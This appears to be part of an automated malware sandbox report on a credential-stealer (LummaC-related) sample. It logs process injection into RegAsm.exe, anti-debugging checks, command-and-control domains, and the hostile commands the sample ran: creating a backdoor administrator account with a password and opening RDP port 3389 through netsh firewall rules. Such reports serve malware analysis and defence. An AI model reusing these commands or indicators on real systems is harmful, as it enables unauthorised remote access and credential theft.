Source: RegAsm.exe, 0000000E.00000002.3294389274.000000000165A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: KKJDGD.3.dr Binary or memory string: outlook.office.comVMware20,11696487552s
Source: KKJDGD.3.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: KKJDGD.3.dr Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: KKJDGD.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: KKJDGD.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: KKJDGD.3.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\drivers\tsusbhub.sys System information queried: ModuleInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004476D0 LdrInitializeThunk, 11_2_004476D0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_0041D016
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00418950
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h] 3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h] 3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00418599 mov eax, dword ptr fs:[00000030h] 3_2_00418599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041859A mov eax, dword ptr fs:[00000030h] 3_2_0041859A
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA, 3_2_0040884C
Enables debug privileges
Source: C:\ProgramData\BKJKEBGDHD.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_0041D016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041D98C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_0041D98C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042762E SetUnhandledExceptionFilter, 3_2_0042762E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C54B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6C54B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C54B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C54B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C6FAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_6C6FAC62
Source: C:\Users\user\Desktop\file.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7032, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: file.exe, Program.cs Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\file.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02AB2139 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 0_2_02AB2139
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: reinforcenh.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: stogeneratmns.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: fragnantbui.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: drawzhotdog.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: vozmeatillu.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: offensivedzvju.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ghostreedmnu.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: gutterydhowi.shop
Source: BGDGHJEHJJ.exe, 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: wallkedsleeoi.shop
Searches for specific processes (likely to inject)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 3_2_0041257F
Writes to foreign memory regions
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 111B008 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000 Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E9A008 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000 Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 115F008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BGDGHJEHJJ.exe "C:\ProgramData\BGDGHJEHJJ.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\GIJEGDAKEH.exe "C:\ProgramData\GIJEGDAKEH.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BKJKEBGDHD.exe "C:\ProgramData\BKJKEBGDHD.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECBGHCGCBKFI" & exit Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user
Source: C:\ProgramData\BKJKEBGDHD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_7fdfafe0 wpaeOjzjqF4B /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_7fdfafe0 /add
Source: C:\Windows\SysWOW64\net.exe Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_7fdfafe0 /add
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040111D cpuid 3_2_0040111D
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 3_2_0042B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA, 3_2_0042B1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen, 3_2_0042B268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage, 3_2_0042B2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement, 3_2_0042AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW, 3_2_004253E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage, 3_2_0042B494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea, 3_2_0042749C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesA, 3_2_0042B556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free, 3_2_00429D6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l, 3_2_0042E56F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat, 3_2_00427576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo, 3_2_00428DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s, 3_2_0042B623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA, 3_2_0042E6A4
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\BGDGHJEHJJ.exe Queries volume information: C:\ProgramData\BGDGHJEHJJ.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\GIJEGDAKEH.exe Queries volume information: C:\ProgramData\GIJEGDAKEH.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\BKJKEBGDHD.exe Queries volume information: C:\ProgramData\BKJKEBGDHD.exe VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C0E9 lstrcpyA,GetLocalTime,SystemTimeToFileTime, 3_2_0041C0E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA, 3_2_00410C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 3_2_00410D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Modifies the windows firewall
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Uses netsh to modify the Windows network and firewall settings
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
AV process strings found (often used to terminate AV products)
Source: RegAsm.exe, 00000003.00000002.2843926018.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.000000000165A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
